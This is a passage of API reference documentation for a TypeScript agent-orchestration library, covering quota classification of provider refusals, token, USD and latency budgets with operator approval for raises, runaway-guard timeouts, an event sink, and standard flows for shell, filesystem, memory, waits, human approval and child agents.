on whose authority. It is a schema rather than an interface because the
decision is recorded: a replayed body waits out the deadline the first pass
chose.

### QuotaPolicy.makeDefault, QuotaPolicy.layerDefault

```ts
const makeDefault: (config?: Config) => Service
const layerDefault: (config?: Config) => Layer.Layer<QuotaClassifier>
```

The production classifier. It classifies a `ModelError` whose code is
`rate_limited` or `quota_exceeded`, or whose HTTP status is 429 or 529, and decides
the deadline in order of how much the provider said: `resetAtEpochMillis`,
then `retryAfterMillis`, then a delay parsed out of the message text, then
`Config.defaultWaitMillis`. A deadline more than `Config.maxWaitMillis` away
answers `None` and the original `ModelError` propagates, because a run parked
for a day is indistinguishable from a run that hung. A deadline already past is
a park of zero, not a refusal to park.

A TERMINAL refusal never parks, however the deadline reads. `isTerminalRefusal`
names them: an exhausted balance (`quota_exceeded` with neither
`resetAtEpochMillis` nor `retryAfterMillis`, or HTTP 402), a bad key
(`authentication`, HTTP 401/403), a model or request the provider will refuse
again (`invalid_request`, `no_route`, `content_policy`, `context_overflow`,
`invalid_provider_output`, and the 4xx statuses), and the step fails on the
attempt that earned it with the provider's own message. A `quota_exceeded` that
DOES name a reset is a subscription window, and still parks. `rate_limited`,
HTTP 429 and HTTP 529 keep their bounded wait.

```ts
const isTerminalRefusal: (error: ModelError) => boolean
```

### QuotaPolicy.Config, QuotaPolicy.defaultWaitMillis, QuotaPolicy.maxWaitMillis

```ts
interface Config {
  readonly defaultWaitMillis?: number | undefined
  readonly maxWaitMillis?: number | undefined
}

const defaultWaitMillis = 60_000
const maxWaitMillis = 3_600_000
```

`defaultWaitMillis` is how long a refusal that names no deadline parks for.
`maxWaitMillis` is the longest wait a refusal may buy before it stays a
failure. A non-finite deadline or a NaN maximum refuses parking. An invalid
fallback does not prevent parking on an explicit finite provider deadline.

### QuotaPolicy.makeUnclassified, QuotaPolicy.layerUnclassified

```ts
const makeUnclassified: () => Service
const layerUnclassified: () => Layer.Layer<QuotaClassifier>
```

A classifier that classifies nothing, so every refusal stays a failure. This is
an explicit safety-policy decision, not a default: the recorder's independent
capacity-refusal floor still prevents those failures from becoming durable
sealed values.

### QuotaPolicy.parseDelay

```ts
const parseDelay: (message: string) => number | undefined
```

The delay a refusal's message names, in milliseconds, read from prose forms
such as "try again in 30 seconds", "retry-after: 2 minutes", and "resets in 1
hour". `undefined` means the text named none, which is not the same as naming
zero: the caller falls back to its configured default.

### QuotaPolicy.modelErrorOf

```ts
const modelErrorOf: (error: unknown) => Option.Option<ModelError>
```

The `ModelError` a failure is, or wraps. Walks the `cause` chain, up to eight
levels, and accepts a plain object with the right shape as well as a class
instance, because a failure that has been through a journal round trip is
decoded, not reconstructed.

### QuotaPolicy.quotaParkedEvent

```ts
const quotaParkedEvent = "flows.agent.quota-parked.v1"
```

The journal event one park writes.

### QuotaPolicy.defaultMaxParks

```ts
const defaultMaxParks = 8
```

The most times one ask parks before its refusal is reported. The bound is per
ask: a step that parks, answers, and is corrected starts again from zero.

### QuotaPolicy.current

```ts
const current: Effect.Effect<Service, never, QuotaClassifier>
```

Reads the classifier a composition explicitly provided. There is deliberately
no fallback: omitting the decision is a type error.

## Budget

What a run may spend across its model calls, and what happens when it has
spent it. Enforcement sits at the model boundary in `FlowEngineLike`, which
every model call passes through, so a step that assembles its own loop cannot
evade a budget declared for the run.

### Budget.Policy, Budget.TokenBudget, Budget.UsdBudget, Budget.LatencyBudget, Budget.OnExceeded

```ts
const OnExceeded = Schema.Literals(["fail", "warn", "skip-remaining", "park"])

interface Policy {
  readonly tokens?: TokenBudget | undefined
  readonly usd?: UsdBudget | undefined
  readonly latency?: LatencyBudget | undefined
}

interface TokenBudget {
  readonly max: number
  readonly onExceeded?: OnExceeded | undefined
}

interface UsdBudget {
  readonly max: number
  readonly onExceeded?: OnExceeded | undefined
}

interface LatencyBudget {
  readonly maxMillis: number
  readonly onExceeded?: OnExceeded | undefined
}
```

Everything one composition declares about spending. An empty policy is a real
policy: it accumulates usage and refuses nothing. A latency budget bounds when
a call may start, not how long one may take; cutting a call off is
`Agent.Options.modelCallMs`, a different budget. Its zero is the run's first
budget question and is durable, so a park or restart does not grant the run the
whole interval again. The ceiling counts active time only: time the run spends
suspended on an approval, a question, or a budget raise is recorded durably and
subtracted, including across a process restart. That includes a native module
execution suspended on a `HumanTask`, an approval, or a timer.

A USD budget admits calls as a token budget does, in dollars: each call costs
its `Pricing.cost`, the provider's reported charge or its usage at the rate
card with `Policy.prices` rows over it, and the largest call so far is the next
one's forecast. A call whose model has no price leaves the run's spend unknown,
so the next admission fails with `AccountingUnavailable` rather than counting
it free. A USD `park` asks for a raised `Envelope.budget.usd`, as a token park
asks for raised `tokens`.

`onExceeded` decides what running out means, and defaults to `fail`:

| Setting          | Behavior                                                                                                                                                                                                                                       |
| ---------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `fail`           | The step fails with `BudgetExceeded { scope, used, max, next }`.                                                                                                                                                                               |
| `warn`           | A `flows.agent.budget-warning.v1` record is written and the call proceeds.                                                                                                                                                                     |
| `skip-remaining` | The budget latches. Every later model call in the run fails typed `skipped` without asking a provider.                                                                                                                                         |
| `park`           | The run parks with waiting reason `budget` and an approval request for a raised budget. Approving it resumes the run under the raised ceiling; denying it fails the call as `fail` does. Timeouts park too; see [RunawayGuard](#runawayguard). |

A flow sets it in frontmatter as `budget.onExceeded`, and `smthrs flow start`
sets it for one run with `--on-exceeded`, beside `--budget-tokens`,
`--budget-ms` and `--budget-usd`. A composition without `Budget.Parking`
treats `park` as `fail`.

### Budget.Budget and Budget.Service

```ts
interface Service {
  readonly check: (stepKey: string | undefined) => Effect.Effect<Verdict, AccountingUnavailable>
  readonly reserve: (stepKey: string) => Effect.Effect<Verdict, AccountingUnavailable, Scope.Scope>
  readonly admitReading: (stepKey: string) => Effect.Effect<Verdict, AccountingUnavailable>
  readonly record: (
    stepKey: string,
    usage: ModelEvent.Usage,
    modelId?: string
  ) => Effect.Effect<void, AccountingUnavailable>
  readonly usage: Effect.Effect<Usage, AccountingUnavailable>
  readonly usageOf: (runId: string) => Effect.Effect<Usage, AccountingUnavailable>
  readonly suspend: Effect.Effect<void, AccountingUnavailable>
  readonly resume: (at?: number) => Effect.Effect<void, AccountingUnavailable>
}

class Budget extends Context.Service<Budget, Service>()("@smthrs/agent/Budget")
```

- `check` previews admission without reserving capacity. A step
  the ledger has already counted proceeds, whatever the ceiling says, because
  its replay costs nothing. `undefined` gets the projection, because a call the
  ledger cannot recognize is a call the run has not made.
- `reserve` atomically admits a sealed key and holds its forecast until scope
  exit. Dispatch through this method, not a separate check-then-call sequence.
  All concurrent calls of a run must share one budget instance. Token
  forecasts are soft, not hard provider billing limits.
- `admitReading` admits a paid evaluator reading without a forecast: it
  refuses only once the ceiling is already spent (tokens at or past the
  maximum, latency or the UTC day exhausted, or a latch), under the same
  `onExceeded` policy, and reserves nothing. A counted key proceeds.
- `record` accounts finite non-negative usage, idempotently in its step key,
  priced under `modelId` when given, and replaces its reservation's estimate. Failed/uncommitted writes remain
  retryable and block uncounted steps; retries must supply the same cost.
- `usage` is what the current run has spent.
- `usageOf` reads one named run's spend, from its live accumulator when this
  process is driving it and from its durable records when it is not.
- `suspend` and `resume` open and close the current run's suspension span,
  `resume` at `at` when given. The harness engine port calls `suspend` when it
  parks a frame and `resume` when it is built for the next drive; a native
  module execution calls them when it suspends and when it enters. Admission
  also closes an open span. A port or module execution whose `resume` was not
  recorded does no work: it retries the record at the instant it resumed and
  fails the run with `AccountingUnavailable` while it cannot, because an open
  span would subtract that work as parked time.

### Budget.Verdict and Budget.Usage

```ts
type Verdict =
  | { readonly _tag: "proceed" }
  | { readonly _tag: "warn"; readonly exceeded: BudgetExceeded }
  | { readonly _tag: "refuse"; readonly exceeded: BudgetExceeded; readonly failure: BudgetExceeded | Skipped }

interface Usage {
  readonly tokens: number
  readonly calls: number
  readonly largestCall: number
}
```

The answer to "may this call be made", and what one run has spent so far.
`largestCall` is what the next call is projected to cost. `calls` counts
distinct model steps, replays included exactly once.

Before a positive cost is known, a reservation holds the full token allowance.
`BudgetExceeded.used` remains actual spend; its optional `reserved` field is
the forecast held by other in-flight calls. Usage reports exclude forecasts
but include actual spend whose journal write is still pending.

### Budget.make, Budget.layer

```ts
const make: (policy: Policy, options?: Options) => Effect.Effect<Service, ConfigurationError>
const layer: (policy: Policy, options?: Options) => Layer.Layer<Budget, ConfigurationError>
```

Builds a budget over one policy. One instance serves a whole composition: the
accumulator is keyed by execution id, so a layer built once above an engine
accounts every run it drives separately. Every accounted call writes a
`flows.agent.usage.v1` record on the journal's durable channel, and the run's
first decision writes its latency clock zero as a
`flows.agent.budget-started.v1` record; a budget entering a resumed run folds
both back before it decides anything.

Acquisition validates and snapshots configuration. Token ceilings must be
non-negative safe integers; latency ceilings finite non-negative milliseconds.
`maxRuns` and `recoveryEntries` must be positive safe integers. Invalid values
and unknown exceeded policies fail with `ConfigurationError`; omit a ceiling
for no limit. Later mutations to input objects do not affect the built service.

### Budget.Options, Budget.defaultMaxRuns, Budget.defaultRecoveryEntries, Budget.looseRunId

```ts
interface Options {
  readonly maxRuns?: number | undefined
  readonly recoveryEntries?: number | undefined
}

const defaultMaxRuns = 256
const defaultRecoveryEntries = 1_000_000
const looseRunId = ""
```

`maxRuns` bounds how many runs' tallies one budget keeps in memory; an evicted
run projects both its spend and its original latency zero back from its own
durable records the next time it asks. `recoveryEntries` bounds how many
journal entries one recovery reads before it fails closed: a recovery pages to
the end of the run's journal, so the bound is the point at which the budget
declares the ledger unreadable, not a stopping point. `looseRunId` names the
tally of calls recorded outside any run, held apart from the run map so no
bound evicts it.

### Budget.makeUnbounded, Budget.layerUnbounded

```ts
const makeUnbounded: () => Service
const layerUnbounded: () => Layer.Layer<Budget>
```

A budget that accounts nothing and refuses nothing. This is an explicit
decision to give up plan-envelope spending enforcement, never a production
default.

### Budget.policyFromEnvelope, Budget.layerFromEnvelope

```ts
const policyFromEnvelope: (
  envelope: ControlSchema.Envelope,
  options?: { readonly onExceeded?: OnExceeded | undefined }
) => Policy

const layerFromEnvelope: (
  envelope: ControlSchema.Envelope,
  options?: { readonly onExceeded?: OnExceeded | undefined }
) => Layer.Layer<Budget, ConfigurationError>
```

Turns an approved plan envelope into a policy or a layer: `budget.tokens`,
`budget.usd` and `budget.milliseconds` become the token, USD and latency
ceilings. A missing field is not a zero budget; it is no budget at all, so an
envelope that approves none of them produces an empty policy. The envelope's
`budget.onExceeded` wins over `options.onExceeded`, which is the composition's
default.

### Budget.Parking, Budget.raise, Budget.raisedBy

```ts
class Parking extends Context.Service<Parking, {
  readonly park: (exceeded: BudgetExceeded) => Effect.Effect<Parked, HarnessError.HarnessError>
  readonly guardsTimeouts: boolean
  readonly trip: (timeout: RunawayGuard.Timeout) => Effect.Effect<Parked, HarnessError.HarnessError>
  readonly admit: (
    subject: string
  ) => Effect.Effect<
    { readonly _tag: "proceed"; readonly continued: number } | { readonly _tag: "park"; readonly parked: Parked },
    HarnessError.HarnessError
  >
}>()("@smthrs/agent/Budget/Parking")

const raise: (budget: Envelope["budget"], exceeded: BudgetExceeded) => Envelope["budget"]
const raisedBy: (envelope: Envelope, raises: ReadonlyArray<Envelope["budget"]>) => Envelope
```

`Parking` is how a host that takes approvals parks a `park` budget.
`AgentSession` provides it: it registers a `budget/` approval request whose
envelope carries `raise`'s proposal, which is the exceeded ceiling raised to
cover what the run spent and holds, the refused call, and one more original
allowance, in whole tokens and milliseconds or dollars rounded up to the cent.
Its question names the raise, such as `Raise the USD budget from $1.00 to
$2.20?`. A resumed run spends against `raisedBy` of its card and every
approved raise, and recovers the spend it recorded before the park. Parked
time does not count against a latency ceiling, so an approved latency raise
admits the resumed call however long the park lasted.
The request's fact carries the guard's `incident`, so a restarted host re-parks
on and presents the facts the park was made on.

`guardsTimeouts` is true when the envelope's budget parks. `trip` parks the run
on a `RunawayGuard.Timeout` and `admit` answers work on a subject a timeout
may have parked; see [RunawayGuard](#runawayguard).

### Budget.current

```ts
const current: Effect.Effect<Service, never, Budget>
```

Reads the budget a composition explicitly provided. There is deliberately no
fallback.

### Budget.tokensOf

```ts
const tokensOf: (usage: ModelEvent.Usage) => number
```

The tokens one model call cost. The provider's total wins when present;
otherwise input and output are summed. Reasoning is already included in output.
Every supplied counter, including cache counters, must be finite and
non-negative even when a total is supplied. Malformed components return `NaN`:
they cannot cancel each other or be concealed by total precedence. `record`
refuses that value, leaves the tally unchanged, and blocks fresh admission until
the same step supplies a valid record. This validates reported usage; it does
not reconcile an invoice or recover usage a provider never reported.

### Budget errors

```ts
class ConfigurationError extends Schema.TaggedError<ConfigurationError>()(
  "flows/agent/BudgetConfigurationError",
  { message: Schema.String }
)

class BudgetExceeded extends Schema.TaggedError<BudgetExceeded>()(
  "flows/agent/BudgetExceeded",
  {
    scope: Schema.Literals(["tokens", "latency"]),
    onExceeded: OnExceeded,
    used: Schema.Number,
    reserved: Schema.optional(Schema.Number),
    max: Schema.Number,
    next: Schema.Number,
    message: Schema.String
  }
)

class Skipped extends Schema.TaggedError<Skipped>()(
  "flows/agent/Skipped",
  { budget: BudgetExceeded, message: Schema.String }
)

class AccountingUnavailable extends Schema.TaggedError<AccountingUnavailable>()(
  "flows/agent/BudgetAccountingUnavailable",
  {
    phase: Schema.Literals(["record", "recover"]),
    runId: Schema.String,
    message: Schema.String,
    cause: Schema.optional(Schema.Unknown)
  }
)
```

- `ConfigurationError`: invalid configuration, rejected during budget acquisition.
- `BudgetExceeded`: a run that would exceed what it was approved for. `used` is
  actual spend, `reserved` is other in-flight forecasts, `max` is the soft
  admission ceiling, and `next` the projected cost of the refused call.
- `Skipped`: a model call refused because the run's budget already latched.
  Carries the `BudgetExceeded` it latched on, so the numbers are the ones the
  first refusal reported. Quarantine-compatible: a verdict no retry can change.
- `AccountingUnavailable`: the budget could not account a run, so it will not
  say what the run may spend. `phase` says which half broke: `record` is the
  write after a call, `recover` is the read a run makes before its first
  decision. The accounting fails closed because each of these is a run whose
  spend is unknown, not zero.

### Budget.neverRetrySkipped, Budget.nonRetryableTags, Budget.skippedTag

```ts
const skippedTag = "flows/agent/Skipped"
const nonRetryableTags: ReadonlyArray<string> = [skippedTag]
const neverRetrySkipped: (policy: RetryPolicy.RetryPolicy) => RetryPolicy.RetryPolicy
```

Adds the `Skipped` tag to a retry policy's non-retryable list, so a ladder that
would otherwise re-dispatch a skipped step gives up on the first refusal.

### Budget records

| Constant               | Value                             | Channel                                                                                                                             |
| ---------------------- | --------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------- |
| `usageEvent`           | `flows.agent.usage.v1`            | Durable. Read back on resume; a write failure raises `AccountingUnavailable`. Payload schema: `UsageRecord` (`{ stepKey, spent }`). |
| `budgetStartedEvent`   | `flows.agent.budget-started.v1`   | Durable. The run's latency clock zero; the earliest recorded value wins. Payload schema: `BudgetStartedRecord` (`{ startedAt }`).   |
| `budgetSuspendedEvent` | `flows.agent.budget-suspended.v1` | Durable. Opens a suspension span; a second open span keeps the first start. Payload schema: `BudgetClockRecord` (`{ at }`).         |
| `budgetResumedEvent`   | `flows.agent.budget-resumed.v1`   | Durable. Closes the open suspension span. Payload schema: `BudgetClockRecord` (`{ at }`).                                           |
| `budgetWarningEvent`   | `flows.agent.budget-warning.v1`   | Lossy. Evidence only; nothing reads it back.                                                                                        |

A composition with no journal at all, such as the reference memory engine,
accounts within one process and recovers nothing across a restart.

## RunawayGuard

```ts
class Timeout extends Schema.TaggedError<Timeout>()("flows/agent/Timeout", {
  source: Schema.Literals(["model-call", "tool-call", "cell"]),
  subject: Schema.String,
  limitMillis: Schema.optional(Schema.Number),
  message: Schema.String
})

type Incident = typeof ControlFacts.GuardIncident.Type
const incident: (tripped: BudgetExceeded | Timeout, raised?: number) => Incident
const stopped: (facts: Incident) => HarnessError.HarnessError
const callLimitTag: "flows/agent/RunawayGuard/CallLimit"
const callLimitExceeded: (flow: string, limitMillis: number) => HarnessError.HarnessError
const layerFlowLimit: (
  flowName: string,
  limitMillis: number
) => Layer.Layer<FlowRuntime.FlowRuntime, never, FlowRuntime.FlowRuntime>
```

A run whose envelope budget sets `onExceeded: park` parks on every guard for
an operator's Continue or Stop, through `Budget.Parking`:

| Guard                                                                                    | Classification | `source`                   |
| ---------------------------------------------------------------------------------------- | -------------- | -------------------------- |
| A token, USD, or latency ceiling                                                         | `Runaway`      | `tokens`, `usd`, `latency` |
| A model call past `modelCallMs`, after its one overrun retry                             | `Stuck`        | `model-call`               |
| A tool call past its call limit, a command's own timeout, or a child await still running | `Stuck`        | `tool-call`                |
| A cell past its wall-clock limit                                                         | `Stuck`        | `cell`                     |
| One drive of a flow bounded by `layerFlowLimit`, past its limit                          | `Stuck`        | `tool-call`                |

Each park is one `budget/` approval request, with waiting reason `budget`,
whose `control.approval.requested` fact carries the exact `incident` facts
frozen when the guard tripped: `used`, `reserved`, `max`, and `next` in the
source's unit, the `message`, the timed-out `subject`, and the `allowance`
Continue authorizes. A restarted host re-parks on that request without
measuring again.

Approving is Continue. For a budget it raises the ceiling to the recorded
allowance; the ledger keeps every charge. For a timeout it authorizes one more
run of the operation under the same limit: a model call is re-issued under a
key of its own, and a tool call or cell runs again with its settled calls
replayed. The same operation timing out again asks again under a new request.
Denying is Stop: the resumed run fails with `stopped` before the operation
runs again, without calling the provider. A run whose budget does not park
keeps each timeout's own behavior: an exhausted model call fails the run, and
the cell reads a tool or cell timeout as a `timeout` call failure.

`layerFlowLimit` bounds a module flow a host runs as a step, which is not a
cell call and so is reached by neither the sandbox's call limit nor the
`tool-call` trip. Provided to the layer that registers the flow named
`flowName`, it admits each drive of an execution through `Budget.Parking` and
runs it under `limitMillis`; a drive past it parks the run with subject
`<flowName>:<executionId>`. Continue drives it again under a fresh limit with
its settled steps replayed, and Stop fails it before it runs again. A drive is
bounded, not the execution: time suspended on a person, an approval or a timer
is not charged. Under a budget that does not park, the flow runs unbounded.
The configured coding host bounds `coding/PreparePlan` by its project's
`limits.toolMs`.

`callLimitExceeded` is the failure a host's command bound ends a run with
(`callLimitMillis` on [`StandardFlows.shell`](#standardflowsshell) and
[`StandardFlows.tests`](#standardflowstests)): one `bash` or `test` command
ran `limitMillis` and was killed with its process group. It is a
`model_failed` `HarnessError` whose cause carries `callLimitTag`, so the run's
fault is `{ class: "policy", tag: callLimitTag }` and nothing retries past it.
Unlike a command's own `timeoutMs`, which the cell reads as a `timeout` call
failure, the bound ends the run whatever its budget says. A hosted coding host
sets the bound to five minutes; Smithers reads the fault as the turn's
`turn_timed_out`. A hosted turn's own 15 minutes start when it leaves the
queue for a box; a turn still queued 20 minutes after it was sent fails with
`box_busy` and never starts.

## EventSink

The host seam that watches one model-backed step while it runs. `AgentAction`
consumes the whole event stream itself to owe its caller one decoded value; a
provided sink is handed each event on the way past, and the step's answer,
correction budget, and failures are the same with a sink as without one.

With `FlowEngineLike`, model events reach the sink live, from inside the sealed
model-call boundary: each provider delta while the provider is still streaming,
and a transport retry as a `model-retried` event before the next attempt's
deltas. A replay emits the recorded events again without calling the provider.

### EventSink.Service and EventSink.EventSink

```ts
interface Service {
  readonly emit: (event: AgentEvent.AgentEvent) => Effect.Effect<void>
}

class EventSink extends Context.Service<EventSink, Service>()("@smthrs/agent/EventSink")
```

The method cannot fail: a host's rendering is not the run's business. One
constraint governs an implementation: `emit` runs inside the frame that
produced the event, and that frame holds the engine's write transaction. A sink
pushes onto a queue, writes to a socket, or resolves a deferred; a sink that
waits on a durable write stalls the run.

### EventSink.make, EventSink.layer, EventSink.makeNoop, EventSink.layerNoop

```ts
const make: (implementation: Service) => Service
const layer: (implementation: Service) => Layer.Layer<EventSink>
const makeNoop: (overrides?: Partial<Service>) => Service
const layerNoop: (overrides?: Partial<Service>) => Layer.Layer<EventSink>
```

Builds or provides a sink from an implementation. The noop forms drop every
event, which is what a composition that provides no sink already does, written
down so a test can provide the absence explicitly. The service is optional:
`AgentAction` resolves it with `Effect.serviceOption`.

## StandardFlows

The built-in host capabilities, expressed as ordinary executable flows. There
is no `ctx.fs`, no `ctx.shell`, no `ctx.memory`, and no `ctx.wait`: a cell
finds a flow in `ctx.flows` and calls it. Each helper pairs a declaration that
already exists with the handler that already exists, and takes the `Context`
the host built, because a handler's requirements are the host's to supply.

Bindings explicitly publish host-authored refusal messages through
`FlowBinding.Options.publicError`. Shell, test, and search errors with codes
`command_failed` or `request_failed` remain opaque because their messages can
carry process diagnostics. A `timeout` publishes fixed text: "The command timed
out." A command the operating system refused for the size of its arguments
(`E2BIG`) is the caller's own input: it fails with `invalid_input` and fixed
text naming the cause and the fix, never the command line. Search `invalid_pattern` errors use fixed corrective text because native
search can return raw stderr. The portable validator's specific reason is
deliberately omitted too, since both sources share that error code. Custom
services must keep all other refusal messages suitable for cells and journals;
diagnostic causes are never selected.

Shell and test bindings publish only the standard library's closed error-code
set in settlement metadata through `failureKinds`. Custom bindings must declare
their own fixed public tags and codes; undeclared classifications stay opaque,
independently of the message selected by `publicError`.

### StandardFlows.filesystem

```ts
const filesystem: (
  services: Context.Context<FileSystem.FileSystem | Path.Path>,
  search?: Search.Search,
  options?: { readonly remote?: boolean }
) => FlowBinding.Source
```

The standard filesystem capabilities, all seven bound: `read`, `write`,
`edit`, `apply_patch`, `ls`, `glob`, and `grep` from
[`@smthrs/std`](/docs/reference/api/std/). The search implementation defaults to
`PortableSearch.make(services)`.

`remote: true` says `services` act on a tree this host does not hold, such as a
container's or a sandbox machine's. The host can neither snapshot that tree
around a write nor measure it under a read, so every flow is bound
`irreversible`: no write runs inside a host snapshot that could not restore it,
and no read is answered from an earlier call's record. Inputs, outputs, and
failures are unchanged. A host sealed to a container binds its file flows this
way, with `RemoteSearch` as the search.

### StandardFlows.shell

```ts
const shell: (
  services: Context.Context<ChildProcessSpawner.ChildProcessSpawner | Path.Path>,
  container?: Container.Container,
  options?: {
    readonly sealedTo?: string | undefined
    readonly terminal?: "agent" | undefined
    readonly callLimitMillis?: number | undefined
  }
) => FlowBinding.Source
```

Shell execution as one ordinary flow, `bash`. The container transport defaults
to `Container.makeCommand()`, the docker or podman CLI; a composition that
supplies none refuses a containerised call. A command that names no `stdin`
reads `/dev/null`, so a command that waits on input ends at once.

`options.sealedTo` restricts execution to one container. `options.terminal`
(since 1.0.0) accepts `"agent"` and fails with `provider_unavailable` until
registered PTY execution and card evidence are available. It never falls back
to container execution.

`options.callLimitMillis` (since 1.0.0) is the host's bound on one command. A
longer or absent `timeoutMs` is lowered to it. A command it stops is killed
with its whole process group and fails the run with
[`RunawayGuard.callLimitExceeded`](#runawayguard) instead of answering the
cell. A shorter `timeoutMs` the cell chose stays the cell's own timeout.

### StandardFlows.tests

```ts
const tests: (
  services: Context.Context<
    ChildProcessSpawner.ChildProcessSpawner | Evaluator.Evaluator | TestRunner.TestRunner
  >,
  options?: { readonly callLimitMillis?: number | undefined }
) => FlowBinding.Source
```

`options.callLimitMillis` bounds one suite run as it bounds a `bash` command:
a given `timeoutMs` is lowered to it, and a run it stops fails the run with
`RunawayGuard.callLimitExceeded`. The host lowers the declared runner's own
`timeoutMs` to the bound as well.

The project's own test runner as one ordinary flow. A host that has no
runner binds `TestRunner.layerNoop` and the flow says so when it is called. The
`Evaluator` is what the flow attributes a non-zero exit with: Jev answers
whether the run failed about the code or about the command it was handed, so a
host binds an evaluator on a subscription seat, and a judge that does not
answer fails the call.

### StandardFlows.memory, StandardFlows.recallFlow, StandardFlows.JudgedRecallOutput

```ts
interface MemoryScope {
  readonly policy: WithMemory.Policy
  readonly provenance?: MemoryStore.Provenance | undefined
}

const hostWide: "host-wide"

const memory: (
  services: Context.Context<MemoryStore.MemoryStore | Recall.Recall>,
  scope: MemoryScope | typeof hostWide
) => FlowBinding.Source
const memory: (
  services: Context.Context<MemoryStore.MemoryStore | Recall.Recall>,
  judge: Context.Context<Evaluator.Evaluator>,
  scope: MemoryScope | typeof hostWide
) => FlowBinding.Source

const JudgedRecallOutput: Schema.Struct<{
  rows: typeof MemoryFlows.RecallOutput
  withheld: Schema.Array<Schema.Struct<{ key: Schema.String; digest: Schema.String; p: Schema.Number }>>
  unjudged: Schema.optional<Schema.Struct<{ reason: typeof AgentEvent.UnjudgedReason; detail: Schema.String }>>
}>
```

Durable memory as two ordinary flows: `remember` from
[`@smthrs/memory`](/docs/reference/api/memory/), and `recall`. Given a `judge`, `recall` is
`recallFlow`, the memory recall filtered by `Relevance`: it asks `judge` which
rows the query does not need and returns the rest in `rows`. A row is withheld
only at `Relevance.withholdAt`, and is listed in `withheld` by key, digest and
probability. When Jev cannot answer, every row is kept and `unjudged` says
why. The reading is journaled into the calling run through
`AgentEvent.Journal`: its `decision-settled` rows and a `relevance-settled`
row with source `recall`, or its `decision-unjudged` row. Nothing recalled
asks nothing. Without a judge, `recall` answers the recalled rows.

Every composition names its scope. With `StandardFlows.hostWide`, a call
reaches any bank it names; a composition that names no scope binds nothing and
fails with `assembly_failed`. With a `MemoryScope`, both flows are bound
through `WithMemory.withMemory` and `Flows.handlersFor`: a bank outside
`policy.banks` fails with `invalid_namespace` before any I/O, a recall
naming no bank reads the policy namespace, and `recall: "none"` and
`retain: "never"` behave as the memory package defines them. `remember` still
requires a bank, so tell the model its bank (`<kind>-<id>`). `provenance` is
recorded on every remembered fact. The policy and provenance are the scope's
declaration identity, so give each run its own `provenance.runId` and keep it
across that run's resumes: a sealed recall recorded under one scope never
answers another. A policy that does not decode binds nothing, and composing
the catalog fails with `assembly_failed`.

### StandardFlows.clock

```ts
const clock: (
  services: Context.Context<Crypto.Crypto | FlowRuntime.FlowRuntime | FlowRuntime.FlowInstance>,
  options?: { readonly maxSeconds?: number | undefined }
) => FlowBinding.Source
```

A durable wait as one ordinary flow, `wait`. The sleep is the engine's
`DurableClock`, so a replay does not re-wait. The clock's name is the call
identity, not the duration, so two waits of equal length in one cell stay
distinct. `maxSeconds` may only lower the ceiling: a non-finite or larger value
is clamped to `defaultMaxWaitSeconds`, and a value at or below zero means "no
waiting". A wait past the ceiling is refused with a catchable message naming
the host's ceiling. This is the one helper whose context is the engine; nothing
in `Agent` imports it.

### StandardFlows.waitFlow, StandardFlows.WaitInput, StandardFlows.WaitOutput, StandardFlows.defaultMaxWaitSeconds

```ts
const defaultMaxWaitSeconds = 3_600

const WaitInput = Schema.Struct({
  seconds: Schema.Number.check(Schema.isGreaterThanOrEqualTo(0)),
  reason: Schema.optional(Schema.String)
})

const WaitOutput = Schema.Struct({ waitedSeconds: Schema.Number })

const waitFlow: /* Flow "wait", effects tier "irreversible" */
```

The durable wait declaration and its schemas. One hour is the default ceiling:
long enough for an intentional backoff, short enough that a parked run remains
distinguishable from one that hung.

### StandardFlows.approval, StandardFlows.Asker, StandardFlows.askFlow, StandardFlows.askerNoop

```ts
interface Asker {
  readonly ask: (
    input: typeof AskInput.Type
  ) => Effect.Effect<typeof AskOutput.Type, HarnessError | ApprovalUnavailable>
}

const approval: (asker: Asker) => FlowBinding.Source
const askerNoop: () => Asker
```

Human approval as one ordinary flow, `ask`. The port is one method, because a
host with nobody to ask must refuse honestly rather than fake an answer:
`askerNoop` refuses with `ApprovalUnavailable`, which the cell may catch. A host
that wants the run to wait for a person fails with a `HarnessError` carrying a
`Permission.PermissionRequired`, or gates the call in `Agent.Options.authorize`.

### StandardFlows.AskInput, StandardFlows.AskOutput

```ts
const AskInput = Schema.Struct({
  question: Schema.String,
  options: Schema.optional(Schema.Array(Schema.String)),
  to: Schema.optional(Schema.Literals(["parent", "person"]))
})

const AskOutput = Schema.Struct({
  answer: Schema.String,
  approved: Schema.Boolean
})
```

`to` says who answers. `parent`, the default, is the agent that started this
one, escalating toward the person; `person` skips the agents. A host with no
agent above the run asks the person either way.

### StandardFlows.ApprovalUnavailable

```ts
class ApprovalUnavailable extends Schema.TaggedError<ApprovalUnavailable>()(
  "@smthrs/agent/StandardFlows/ApprovalUnavailable",
  { message: Schema.String }
)
```

A host that has nobody to ask. Separate from `HarnessError` on purpose: this is
a refusal the agent can see and route around, turned into an ordinary catchable
call failure.

### StandardFlows.coreSources

```ts
const coreSources: ReadonlyArray<string>
```

The source names of every helper above and of `ChildFlows.source`. A judged
run's run-start relevance reading never judges a flow bound by one of these
sources or by `Agent.Options.pinnedSources`.

## ChildFlows

Detached child agents as three ordinary flows. There is no `ctx.spawn`, no
`ctx.send`, and no `ctx.await`: a cell delegates the way it does anything else.
Attached children need nothing here; a dynamic or markdown flow called with
`ctx.call` already runs inside its own durable boundary.

### ChildFlows.source

```ts
const source: (children: Children) => FlowBinding.Source
```

Detached child lifecycle as three ordinary flows, bound over the injected
`Children` port: `agent/spawn`, `agent/send`, and `agent/await`, all at the
`irreversible` tier.

### ChildFlows.sourceName

```ts
const sourceName: "agent/children"
```

The name of the source `ChildFlows.source` returns.

### ChildFlows.Children

```ts
interface Children {
  readonly spawn: (input: typeof SpawnInput.Type) => Effect.Effect<typeof SpawnOutput.Type, HarnessError | ChildError>
  readonly send: (input: typeof SendInput.Type) => Effect.Effect<typeof SendOutput.Type, HarnessError | ChildError>
  readonly await: (input: typeof AwaitInput.Type) => Effect.Effect<typeof AwaitOutput.Type, HarnessError | ChildError>
}

const Children: Context.Service<Children, Children>
```

The narrow child-run port a host supplies. `EngineChildren` is the durable
implementation over an engine.

### ChildFlows.makeNoop

```ts
const makeNoop: (overrides?: Partial<Children>) => Children
```

A child port that refuses every operation with
`ChildError { code: "unsupported" }`, whose refusal the cell can see and route
around.

### ChildFlows.ChildError

```ts
class ChildError extends Schema.TaggedError<ChildError>()(
  "@smthrs/agent/ChildFlows/ChildError",
  {
    code: Schema.Literals(["unsupported", "not_found", "failed", "still_running"]),
    message: Schema.String,
